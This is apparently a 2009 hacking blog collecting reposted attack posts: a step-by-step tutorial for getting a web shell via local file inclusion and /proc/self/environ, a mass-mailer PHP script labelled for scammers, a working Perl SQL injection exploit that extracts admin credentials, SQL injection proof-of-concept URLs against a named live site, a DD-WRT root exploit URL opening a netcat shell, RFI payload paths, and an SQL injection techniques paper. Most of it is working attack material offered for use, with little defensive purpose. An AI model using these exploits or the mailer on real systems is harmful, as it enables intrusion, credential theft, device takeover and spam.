Friday, August 28, 2009

Shell via LFI - proc/self/environ method (step by step)

This article take from http://h4cky0u.org/shell-via-lfi-proc-self-environ-method-step-by-step--t1101.html , so enjoy this article, only for education, thanks for SirGod contact person : sirgod08[at]gmail[dot]com





1 - Introduction
2 - Finding LFI
3 - Checking if proc/self/environ is accessible
4 - Injecting malicious code
5 - Access our shell
6 - Shoutz

>> 1 - Introduction

In this tutorial I show you how to get a shell on websites using Local File Inclusion vulnerabilities and
injection malicious code in proc/self/environ.Is a step by step tutorial.

>> 2 - Finding LFI

- Now we are going to find a Local File Inclusion vulnerable website.So we found our target,lets check it.

www.website.com/view.php?page=contact.php

- Now lets replace contact.php with ../ so the URL will become

www.website.com/view.php?page=../

and we got an error

Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337

big chances to have a Local File Inclusion vulnerability.Let's go to next step.

- Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a request :

www.website.com/view.php?page=../../../etc/passwd

we got error and no etc/passwd file

Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337

so we go more directories up

www.website.com/view.php?page=../../../../../etc/passwd

we succesfully included the etc/passwd file.

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin

>> 3 - Checking if proc/self/environ is accessible

- Now lets see if proc/self/environ is accessible.We replace etc/passwd with proc/self/environ

www.website.com/view.php?page=../../../ ... lf/environ

If you get something like

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80

proc/self/environ is accessible.If you got a blank page,an error proc/self/environ is not accessible or the OS is FreeBSD.

>> 4 - Injecting malicious code

- Now let's inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header.
Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the URL :

www.website.com/view.php?page=../../../ ... lf/environ

Choose Tamper and in User-Agent filed write the following code :



Then submit the request.

Our command will be executed (will download the txt shell from http://hack-bay.com/Shells/gny.txt and will save it as shell.php in the
website directory) through system(), and our shell will be created.If don't work,try exec() because system() can be disabled on the webserver from php.ini.

>> 5 - Access our shell

- Now lets check if our malicous code was successfully injected.Lets check if the shell is present.

www.website.com/shell.php

Our shell is there.Injection was succesfully.

>> 6 - Shoutz

Shoutz to all members of www.insecurity-ro.org and www.h4cky0u.org.

Wednesday, August 26, 2009

How to Protect an Email Account from SPAM

Most of us get SPAM every day. Some of us get more and some little. Even a newly created email account will begin to receive spam just after a few days of it’s creation. Many times we wonder where these spam come from and why? But this question remains unanswered within ourselves. So in this post I will try my best to give every possible information about the spam and will also tell you about how to combat spam.


What is SPAM?

Spam is the abuse of electronic messaging systems (including most broadcast media, digital delivery systems) to send unsolicited bulk messages indiscriminately. Most widely recognized form of spam is email spam.

Where do these SPAM come from?

These spam come only from spammers and never from a legitimate user or a company. These spammers send a single email to hundreds (some times thousands or millions) of email addresses at a time. They either send it manually or use spambots to automate the process of spamming.

Why do spammers SPAM?

The main goal of spammers is to send the spam (unsolicited bulk messages) to as many people as possible in order to make profit. For example, John builds a small website to sell an ebook which gives information about weight loss. In order to make sales he needs publicity for his website. Instead of spending money on advertising, John decides to create an email which contains information about his site along with it’s link and send this email to say 100 email addresses in his contact list. If 1 person out of hundred buy this book john gets $10. What if he sends this email to 1000s of email addresses. He gets $100. Imagine, if he sends this email to 1 Million email addresses he gets $100000.

Now I hope you understood the idea behind spamming. So in order to make money, spammers send their advertising emails to as many people as possible without respecting the recipient’s privacy.

From where do SPAMmers get my email address?

On the Internet there exists many sites who collect the email IDs of people and sell them to spammers in bulk. Most often, people sign up for monthly newsletters and take up surveys. This is the time where these scam sites get their email addresses. Also many spammers collect email addresses by using spambots. These spambots collect email addresses from the Internet in order to build mailing lists. Such spambots are web crawlers that can gather email addresses from Web sites, newsgroups, forums, special-interest group (SIG) postings, and chat-room conversations.

Spammers also use the trick of creating Hoax Emails for gathering a huge list of email IDs. For example, a spammer sends a hoax email which says “Forward this Message to Help Severely Burned Child”. This email claims that 11 cents will be donated to the child’s family every time the message is sent to others. Most of the people believe this and start forwarding this hoax email to all of the IDs in their contact list. In this way the email spreads rapidly and eventually when it reaches the creator (spammer), the spammer gets a huge list of valid email addresses in the email header. When you get these kind of hoax emails, you can see for yourself in the email header which contains a huge list of email addresses of all those people to whom the email is being forwarded to. This is one of the effective methods used by spammers to gather email addresses.

Is SPAMming legal?

Spamming is completely illegal. Yet it is really difficult to stop spammers from spamming since they keep moving from one hosting company to another after getting banned. This makes it practically impossible to catch spammers and prosecute them.

How to protect my email account from getting SPAMmed?

The following methods can be used to combat email spam.

1. Use spam filters for your email account. If you’re using email services like Gmail, Yahoo, Hotmail etc. then spam filters are used by defaut. Each spam filter has it’s algorithm to detect spam emails and will automatically move them to SPAM folder. This keeps your inbox free from spam. However some spam emails become successful to make their way into the inbox by successfully bypassing the filters.

2. Do not post your email address in public forums, user comments and chat-rooms. Give your email address only to trustworthy websites while signing up for newsletters.

3. While taking up online surveys and filling up feedback forms, it is better not to give your personal email address. Instead singup for a dummy email account and use this for surveys and feedback forms.

4. While posting your contact email address on your website use this format: emailaddress [at] yoursite.com instead of emailaddress@yoursite.com. This protects your email address from being indexed by spambots.

5. Do not respond to hoax messages. When you receive a hoax email, avoid forwarding it to your friends. Examples of hoax messages can be found at www.hoax-slayer.com. If you really want to forward it to your friends, make sure that you use “Bcc” (blind certified copy) option to send the email. This will hide all the email IDs to which the mail is forwarded to.

I hope this helps

php mailer script for scammer

if ($action=="send"){
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
?>

Your Email:
Your Name :
Reply-To :
Attach File :

Subject :
Message :
To :
Plain
HTML







if ($action=="send"){
if (!$from && !$subject && !$message && !$emaillist){
print "Please complete all fields before sending your message.";
exit;
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);
#Open the file attachment if any, and base64_encode it for email transport
If ($file_name){
@copy($file, "./$file_name") or die("The file you are trying to upload couldn't be copied to the server");
$content = fread(fopen($file,"r"),filesize($file));
$content = chunk_split(base64_encode($content));
$uid = strtoupper(md5(uniqid(time())));
$name = basename($file);
}
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending mail to $to.......";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
If ($file_name) $header .= "--$uid\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
If ($file_name) $header .= "--$uid\r\n";
If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
If ($file_name) $header .= "$content\r\n";
If ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print " Message Sent!
";
flush();
}
}
}
exit;
?>

Tuesday, August 25, 2009

How to make a Backtrack 4 Hard Drive Installation -

Backtrack 4 does not contain any installer yet thus we wrote this step by step guide based on muts cookbook on how to install Backtrack 4 on our hard disk drive.


Step 1 - Creating the partitions


First we will need to create three partitions to be able to install backtrack on our hard disk drive. We will need boot, swap and root partitions to be created. (We can still create 2 partitions and install the boot inside the root partition)





After we create the three partitions we need to change the type of partition 2 to swap and activate the boot partition, then write the changes

Command (m for help): t
Partition number (1-4): 2
Hex code (type L to list codes): 82
Changed system type of partition 2 to 82 (Linux swap / Solaris)
Command (m for help): a
Partition number (1-4): 1
Command (m for help): w
The partition table has been altered!
Calling ioctl() to re-read partition table.
Syncing disks.
root@bt:~#

Step 2 - Format the file systems

We format our file system with mkreiserfs for root partition, ext2 for boot and swap for the swap partition.



\



Step 3 - Mount and Copy Directories

After we had prepare the file systems its time to copy over the backtrack files to our hard drive and configure it to run the backtrack on boot.



NOTE: The copy operation will take some time so be patient until it finish

Step 4 - Configure Bootloader



We will need to configure /etc/lilo.conf and define the boot and root partition so we will be able to boot into backtrack. In case we do not correctly define the root partition we will get an error “Kernel panic: no init found”.



Edit /etc/fstab and append the following lines:

/dev/sda3 / reiserfs defaults 0 0 # AutoUpdate
/dev/sda2 none swap sw 0 0



Execute lilo -v and reboot

References:

http://www.offensive-security.com/documentation/bt4install.pdf
http://www.itsolutionskb.com/2009/04/how-to-install-nessus-on-backtrack-4
http://www.itsolutionskb.com/2009/04/backtrack-4-beta-quick-fixes
VN:F [1.6.2_892]

Ed Charkow's Supercharged Linking Blind SQL Injection Exploit

#!/usr/bin/perl

#==========================================================================================#
#
# [o] Ed Charkow's Supercharged Linking Blind SQL Injection Exploit
# Software : Ed Charkow's Supercharged Linking
# Buy Script : http://www.infodepot3000.com/Scripts/content/supercharged_linking.html
# Author : NoGe
# Contact : noge[dot]code[at]gmail[dot]com
# Blog : http://evilc0de.blogspot.com
#
# [o] Usage
# root@noge:~# perl link.pl
#
# [x]============================================================[x]
# | Ed Charkows Supercharged Linking Blind SQL Injection Exploit |
# | [F]ound by NoGe [C]oded by Vrs-hCk |
# [x]============================================================[x]
#
# [+] URL Path : www.target.com/[path]
# [+] Valid ID : 1
#
# [!] Exploiting http://www.target.com/[path]/ ...
#
# [+] SELECT password FROM admin LIMIT 0,1 ...
# [+] md5@password> de9e3ae793d300ce7ee4742d4513cb06
#
# [!] Exploit completed.
#
# root@noge:~#
#
# crack the hash and login with username admin
#
# [o] Greetz
# MainHack BrotherHood [ http://mainhack.net ]
# Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang aJe
# H312Y yooogy mousekill }^-^{ loqsa zxvf martfella
# skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke
#
#==========================================================================================#

Sunday, August 16, 2009

AJ Auction Pro OOPD 2.x SQL Injection Exploit

#!/usr/bin/perl

#********************************************************#
# #
# [o] AJ Auction Pro OOPD 2.x SQL Injection Exploit #
# Software : AJ Auction Pro OOPD 2.x #
# Vendor : http://www.ajsquare.com/ #
# Author : NoGe #
# Contact : noge[dot]code[at]gmail[dot]com #
# Blog : http://evilc0de.blogspot.com #
# #
# [o] Usage #
# root@noge:~# perl ajpro.pl www.target.com #
# #
# [o] Dork #
# "Powered By AJ Auction Pro" #
# #
# [o] Greetz #
# MainHack BrotherHood [ http://mainhack.net ] #
# Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang #
# H312Y yooogy mousekill }^-^{ loqsa zxvf martfella #
# skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke #
# #
#********************************************************#

use HTTP::Request;
use LWP::UserAgent;

my $target = $ARGV[0];
my $file_vuln = '/store.php?id=';
my $sql_query = '-null+union+select+1,2,3,4,5,group_concat(0x3a,user_name,0x3a,password,0x3a),7,8,9,10+from+admin--';
print "\n[x]===============================================[x]\n";
print "[x] AJ Auction Pro OOPD 2.x SQL Injection Exploit [x]\n";
print "[x] [C]oded By NoGe [x]\n";
print "[x]===============================================[x]\n\n";

my $exploit = "http://".$target.$file_vuln.$sql_query;

my $request = HTTP::Request->new(GET=>$exploit);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/:(.*):(.*):/g) {
my ($username,$password) = ($1,$2);
print "[+] $username:$password \n\n";
}
else { print "[-] Error, Fail to get admin login.\n\n"; }
}
else { print "[-] Error, ".$response->status_line."\n\n"; }

BrooWaha Engine 2.0.71 SQL Injection Vuln

[o] BrooWaha Engine 2.0.71 SQL Injection Vulnerability
Software : BrooWaha Engine 2.0.71
Vendor : http://www.broowaha.com/
Author : NoGe

[o] Vulnerable file
image.php

[o] Exploit
http://localhost/[path]/image.php?id==[SQL]

[o] Proof of concept
http://london.broowaha.com/image.php?id=-5851+AND+1=2+UNION+SELECT+concat_ws(0x3a,version(),database(),user()),1/*

[o] Dork
"Powered by BrooWaha Engine"

[o] Note
if you dont see the result, view the page source and you will see it. :)
the result from the example above will be like this after you view the page source.
4.0.27-max-log:db162098511:dbo162098511@74.208.16.88/-5851
this is a private script and all target are in one IP address.

Thursday, August 13, 2009

DD-WRT (httpd service) Remote Command Execution Vulnerability

This artikel take form milw0rm, for more information just look on http://www.milw0rm.com/exploits/9209


This is a remote root vulnerability in DD-WRT's httpd server. The bug exists
at the latest 24 sp1 version of the firmware.

The problem is due to many bugs and bad software design decisions. Here is
part of httpd.c:

859 if (containsstring(file, "cgi-bin")) {
860
861 auth_fail = 0;
862 if (!do_auth
863 (conn_fp, auth_userid, auth_passwd, auth_realm,
864 authorization, auth_check))
865 auth_fail = 1;


......... (snip)............

899
900 }
901 exec = fopen("/tmp/exec.tmp", "wb");
902 fprintf(exec, "export REQUEST_METHOD=\"%s\"\n", method);
903 if (query)
904 fprintf(exec, "/bin/sh %s/%s905 server_dir != NULL ?
server_dir : "/www",file);
906 else
907 fprintf(exec, "/%s/%s\n",
908 server_dir != NULL ? server_dir : "/www",
file);
909 fclose(exec);
910
911 if (query) {
912 exec = fopen("/tmp/exec.query", "wb");
913 fprintf(exec, "%s\n", query);

........................
Two issues there:
1) No metacharacters handling
2) Command gets executed even without successful authentication.
You are not going to see any output if not authenticated though.
.......................

914 free(query);
915 fclose(exec);
916 }
917
918 system2("chmod 700 /tmp/exec.tmp");
919 system2("/tmp/exec.tmp>/tmp/shellout.asp");

........... (snip)..........

926 if (auth_fail == 1) {
927 send_authenticate(auth_realm);
928 auth_fail = 0;

------------

3) issue 3: httpd runs as root :)



Now let's sum up (1), (2) and (3). Any unauthenticated attacker that can
connect to the management web interface can get easily root on the device via
his browser with an URL like:


http://routerIP/cgi-bin/;command_to_execute

There is a catch though: whitespaces break it. Anyway, they can be easily
replaced with shell variable like $IFS. So, getting root shell at 5555/tcp
becomes as easy as typing this in your browser's url bar:

http://routerIP/cgi-bin/;nc$IFS-l$IFS-p$IFS\5555$IFS-e$IFS/bin/sh


Voila (pretty old-school, eheh). Here is some (poor) video demonstrating the
problem:
http://www.youtube.com/watch?v=UhDcXCVFrvM


Fortunately, httpd by default does not listen on the outbound interface.
However, this vulnerability can be exploited via a CSRF attack (the dd-wrt
device's owner does not even need to have an authenticated session on the web
UI which is bad, bad). However, a base authentication dialog will appear. In
IE even this can be supressed, see this one:

http://ha.ckers.org/blog/20090630/csrf-and-ignoring-basicdigest-auth/

Unlike the already documented CSRF vulnerability (
http://www.securityfocus.com/bid/32703 ) this DOES NOT need an authenticated
session. This means someone can even post some crafted [img] link on a forum
and a dd-wrt router owner visiting the forum will get owned :)


A weird vulnerability you're unlikely to see in 2009 :) Quite embarrassing I
would say :)

Sunday, August 9, 2009

Remote File Inclusion

Take a look of the following code:


[...]

include($_GET['pag']);

[...]

?>

As we can see, $page is not validated before being used so a malicious user could
include or call (as you prefer to say) his script via the browser and gain access
to the machine or view, as before, a file.

Example one: (gain access to the machine)

http://remote_host/inc.php?pag=[Evil Script - our shell located on our server]

Example two: (view files)

http://remote_host/inc.php?pag=/etc/passwd


Patching

The solution? validate the input. One of lots of methods to validate inputs
would be to create a list of acceptable pages as shown below:


$pag = $_GET['pag'];

$pages = array('index.php', 'alfa.php', 'beta.php', 'gamma.php');

if(in_array($pag, $pages))
{
include($pag);
{
else
{
die("Hacking Attempt!");
}

Saturday, August 8, 2009

MAXcms - Databay Content Management System 3.11.20b Multiple RFI Vuln

[o] MAXcms - Databay Content Management System 3.11.20b Multiple Remote File Inclusion Vulnerability
Software : MAXcms - Databay Content Management System version 3.11.20b
Vendor : http://www.databay.de
Download : http://downloads.sourceforge.net/micro-cms/microcms.zip
Author : NoGe

[o] Vulnerable file
is_projectPath parameter
includes/InstantSite/inc.is_root.php

GLOBALS[thCMS_root] parameter
classes/class.Tree.php
includes/inc.thcms_admin_mediamanager.php
modul/mod.rssreader.php

is_path parameter
classes/class.tasklist.php
classes/class.thcms.php
classes/class.thcms_content.php
classes/class.thcms_modul_parent.php
classes/class.thcms_page.php
classes/class.thcsm_user.php
includes/InstantSite/class.Tree.php

thCMS_root parameter
classes/class.thcms_modul.php
includes/inc.page_edit_tasklist.php
includes/inc.thcms_admin_overview_backup.php
includes/inc.thcms_edit_content.php
modul/class.thcms_modul_parent_xml.php
modul/mod.cmstranslator.php
modul/mod.download.php
modul/mod.faq.php
modul/mod.guestbook.php
modul/mod.html.php
modul/mod.menu.php
modul/mod.news.php
modul/mod.newsticker.php
modul/mod.rss.php
modul/mod.search.php
modul/mod.sendtofriend.php
modul/mod.sitemap.php
modul/mod.tagdoc.php
modul/mod.template.php
modul/mod.test.php
modul/mod.text.php
modul/mod.upload.php
modul/mod.users.php

[o] Exploit
http://localhost/[path]/includes/InstantSite/inc.is_root.php?is_projectPath=[evilc0de]
http://localhost/[path]/classes/class.Tree.php?GLOBALS[thCMS_root]=[evilc0de]
http://localhost/[path]/classes/class.thcsm_user.php?is_path=[evilc0de]
http://localhost/[path]/modul/mod.users.php?thCMS_root=[evilc0de]

Wednesday, August 5, 2009

MySQL: Secure Web Apps - SQL Injection techniques

-[ SUMMARY ]---------------------------------------------------------------------
0x01: Introduction
0x02: Injecting SQL
0x03: Exploiting a Login Form
0x04: Exploiting Different SQL Statement Type
0x05: Basic Victim Fingerprinting
0x06: Standard Blind SQL Injection
0x07: Double Query
0x08: Filters Evasion
0x09: SQL Injection Prevention
0x10: Conclusion
---------------------------------------------------------------------------------



---[ 0x01: Introduction ]

Hi everybody! I'm here again to write a little, but I hope interesting, paper concerning
Web Application Security. The aim of these lines are to help you to understand security
flaws regarding SQL Injection.

I know that maybe lots of things here explained are a little bit old; but lots of people
asked to me by email how to find/to prevent SQL Injection flaws in their codes.

Yes, we could say that this is the second part of my first paper regarding PHP flaws
(PHP Underground Security) wrote times ago; where I explained in a very basic form the SQL Injection
(The reason? The focus was on an other principal theme).

How I wrote this paper? In my free time, a couple of lines to help people to find, prevent
this kind of attacks. I hope you enjoy it. For any question or whatever please
contact me here: omni_0 [at] yahoo [DOT] com .
-------------------------------------------------------------------------------[/]

---[ 0x02: Injecting SQL ]

As you know almost every dynamic web applications use a database (here we talk
about web application based on "LAMP architecture") to store any kind of data needed
by the application such as images path, texts, user accounts, personal information,
goods in stock, etc.

The web application access to those information by using the SQL (Structured Query
Language). This kind of applications construct one or more SQL Statement to query
the DataBase (and for example to retrieve data); but this query sometimes incorporporate
user-supplied data. (take in mind this)

What about SQL? SQL is a DML (Data Manipulation Language) that is used
to insert, retrive and modify records present in the DataBase.

As I said before web application uses user-supplied data to query the DB but if the
supplied data is not properly sanitized before being used this can be unsafe and
an attacker can INJECT HIS OWN SQL code.
These flaws can be very destructive because an attacker can:

- Inject his data
- Retrive information about users, CC, DBMS.. (make a kind of information gathering)
- and so on..

The fundamentals of SQL Injection are similar to lots of DBMS but, as you know
there are some differences, in this paper I will cover "Exploting SQL Injection
in MySQL DBMS" as said upon (this means that if you want to test techniques here
explained on others DBMS you need to try at your own).
-------------------------------------------------------------------------------[/]

---[ 0x03: Exploiting a Login Form ]

Sometimes happends that coders doesn't properly sanitize 2 important variables
such as user-name and password in the login form and this involve a critical
vulnerability that will allow to the attacker the access to a reserved area.

Let's make an example query here below:

SELECT * FROM users WHERE username = 'admin' and password = 'secret'

With this query the admin supply the username 'admin' and the password 'secret'
if those are true, the admin will login into the application.
Let us suppose that the script is vulnerabile to sql injection; what happends
if we know the admin username (in this case 'admin')? We don't know the password, but
can we make an SQL Injection attack? Yes, easily and then we can gain the access to the application.
In this way:

SELECT * FROM users WHERE username = 'admin' /*' and password = 'foobar'

So, we supplied this information:

- As username = admin' /*
- As password = foobar (what we want..)

Yes, the query will be true because admin is the right username but then with the
' /* ' symbol we commented the left SQL Statement.

Here below a funny (but true) example:

$sql = "SELECT permissions, username FROM $prefix"."auth WHERE
username = '" . $_POST['username'] . "' AND password = MD5('".$_POST['wordpass']."');";

$query = mysql_query($sql, $conn);

The variables passed with the POST method are not properly sanitized before being used
and an attacker can inject sql code to gain access to the application.
This is a simple attack but it has a very critical impact.
-------------------------------------------------------------------------------[/]

---[ 0x04: Exploiting Different SQL Statement Type ]

SQL Language uses different type of statements that could help the programmer to
make different queries to the DataBase; for example a SELECTion of record,
UPDATE, INSERTing new rows and so on. If the source is bugged an attacker can
"hack the query" in multiple ways; here below some examples.

SELECT Statement
------------------

SELECT Statement is used to retrieve information from the database; and is
frequentely used "in every" application that returns information in response
to a user query. For example SELECT is used for login forms, browsing catalog, viewing
users infos, user profiles, in search engines, etc. The "point of failure" is
often the WHERE clause where exactly the users put their supplied arguments.

But sometimes happends that the "point of failure" is in the FROM clause; this
happends very rarely.

INSERT Statement
------------------

INSERT statement is used to add new row in the table; and sometimes the application
doesn't properly sanitize the data, so a query like the beneath could be vulnerable:

INSERT INTO usr (user, pwd, privilege) VALUES ('new', 'pwd', 10)

What happends if the pwd or username are not safe? We can absolutely "hack the
query" and perform a new interesting query as shown below:

INSERT INTO usr (user, pwd, privilege) VALUES ('hacker', 'test', 1)/*', 3)

In this example the pwd field is unsafe and is used to create a new user with
the admin privilege (privilege = 1):


$SQL= "INSERT INTO usr (user, pwd, id) VALUES ('new', '".$_GET['p']."', 3)";

$result = mysql_query($SQL);


UPDATE Statement
------------------

UPDATE statement is used (as the word says) to UPDATE one or more records.
This type of statement is used when users (logged into the application) need
to change their own profile information; such as password, the billing address,
etc. An example of how the UPDATE statement works is shown below:

UPDATE usr SET pwd='newpwd' WHERE user = 'billyJoe' and password = 'Billy'

The field pwd in the update_profile.php form is absolutely "a user-supply data"; so,
try to imagine what happends if the code is like the (vulnerable) code pasted below:

$SQL = "UPDATE usr SET pwd='".$_GET['np']."' WHERE user = 'billyJoe' and pwd = 'Billy'";
$result = mysql_query($SQL);

In this query the password needs to be correct (so, the user needs to know his own password :D)
and the password will be supplied with the GET method; but leave out this detail (it's not so important
for our code injection) and concentrate to the new password field (supplied by $_GET['np'], that
is not sanitized); what happeds if we will inject our code here? Let see below:

UPDATE usr SET pwd='owned' WHERE user='admin'/*' WHERE user = 'ad' and pwd = 'se'

here we just changed the admin password to ' owned ' :) sounds interesting right?

UNION SELECT Statement
-------------------------

The "UNION SELECT Statement" is used in SQL to combine the results of 2
or more different SELECT query; obviously in one result.
This kind of statement is very interesting because when you have a SELECT query
often you can add your own UNION SELECT statement to combine the queries (sure,
only if you have a "bugged sql statement") and view the 2 (or more) results in only
one result set. To better understand what I mean I think is better to see an interesting
example and put our hands on it.

Here is our vulnerable code:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

$SQL = "select * from news where id=".$_GET['id'];

$result = mysql_query($SQL);

if (!$result) {
die('Invalid query: ' . mysql_error());
}

// Our query is TRUE
if ($result) {
echo '

WELCOME TO www.victim.net NEWS
';
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {

echo '
Title:'.$row[1].'
';
echo '
News:
'.$row[2];
}

}

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

As we can see the $SQL variable is vulnerable and an attacker can inject his own
code into it and then gain interesting information. What happends if via browser we
call this URL: http://www.victim.net/CMS/view.php?id=1 ?

Nothing interesting, just our news with the ID equal to 1, here below:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

How to make this interesting? :) We can use our UNION SELECT operator, and the
resultant query will be:

select * from news where id=1 UNION SELECT * FROM usr WHERE id = 1

What is gonna happend? Look below:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?
Title:secret

News:
1

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

"Title: secret" is the admin password (ID = 1 is the admin in most cases) and the 1 in the "News:"
is the admin ID. So, why our output is so strange? This is not strange our tables has been made
in different ways. Just to make things clear look the tables below:

mysql> select * from usr;
-----------------------
| user | pwd | id |
-----------------------
| admin | secret | 1 |
-----------------------
| ad | aaaaa | 2 |
-----------------------
| new | test | 5 |
-----------------------

mysql> select * from news;
---------------------------------------------------
| id | title | texts |
---------------------------------------------------
| 1 | testing news | what about SQL Injection? |
---------------------------------------------------
| 2 | testing news 2 | could be bypassed easily? |
---------------------------------------------------

Our UNION SELECT query will be:

mysql> select * from news where id = 1 union select * from usr where id = 1;
---------------------------------------------------
| id | title | texts |
---------------------------------------------------
| 1 | testing news | what about SQL Injection? |
---------------------------------------------------
| admin | secret | 1 |
---------------------------------------------------

Is now clear? We have found the admin password. It's great!

Ok, lets go deeper; what happends if we have 2 tables with a different number of
columns? Unfortunaltely UNION SELECT doesn't work as show upon. I want to make
2 different examples to help you.

LESS FIELDS
------------

mysql> select * from Anews;
------------------------------------------------
| title | texts |
------------------------------------------------
| testing news 2 | could be bypassed easily? |
------------------------------------------------

mysql> select * from Anews union select * from usr;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

Yes, this is what happends if the UNION SELECT is used and the tables have a different
number of columns. So, what we can do to bypass this?

mysql> select * from Anews union select id, CONCAT_WS(' - ', user, pwd) from usr;
--------------------------------------------
| title | texts |
--------------------------------------------
| testing news 2 | could be bypassed easily? |
--------------------------------------------
| 1 | admin - secret |
--------------------------------------------
| 2 | ad - aaaaa |
--------------------------------------------
| 5 | new - test |
--------------------------------------------

We bypassed "the problem" just using a MySQL function CONCAT_WS (CONCAT can be used too).
Take in mind that different DBMS works in different way. I'm explaining in a general manner; therefore
sometimes you have to find other ways. :)

MORE FIELDS
-------------

mysql> select * from fnews;
--------------------------------------------------------
| id | pri | title | texts |
--------------------------------------------------------
| 1 | 0 | testing news 2 | could be bypassed easily? |
--------------------------------------------------------

What we can do now? Easy, just add a NULL field!!

mysql> select * from fnews union select NULL, id, user, pwd from usr;
---------------------------------------------------------
| id | pri | title | texts |
---------------------------------------------------------
| 1 | 0 | testing news 2 | could be bypassed easily? |
---------------------------------------------------------
| NULL | 1 | admin | secre |
---------------------------------------------------------
| NULL | 2 | ad | aaaaa |
---------------------------------------------------------
| NULL | 5 | new | test |
---------------------------------------------------------

-------------------------------------------------------------------------------[/]

---[ 0x05: Basic Victim Fingerprinting ]

In this part of the paper I'll explain some easy, but interesting, ways used while trying to do
information gathering before the Vulnerability Assessment and Penetration Test steps.

This is our scenario: we found a bugged Web Application on the host and we can inject our
SQL code.

So, what we need to know? Could be interesting to know the mysql server version;
maybe it's a bugged version and we can exploit it.

How to do that? (I will not use bugged code; I'll just make some examples. Use your
mind to understand how to use "these tips")

mysql> select * from fnews WHERE id = 1 union select version(), NULL, NULL, NULL from usr;
-----------------------------------------------------------------------------
| id | pri | title | texts |
-----------------------------------------------------------------------------
| 1 | 0 | testing news 2 | could be bypassed easily? |
-----------------------------------------------------------------------------
| 5.0.22-Debian | NULL | NULL | NULL |
-----------------------------------------------------------------------------

Here our mysql version. Also the OS has been putted on the screen :) (take in mind that
sometimes these information are modified).

Could be interesting to know the server time:

mysql> select * from fnews WHERE id = 1 union select NOW(), NULL, NULL, NULL from usr;
---------------------------------------------------------------------------
| id | pri | title | texts |
---------------------------------------------------------------------------
| 1 | 0 | testing news 2 | could be bypassed easily? |
---------------------------------------------------------------------------
| 2009-02-27 00:03:56 | NULL | NULL | NULL |
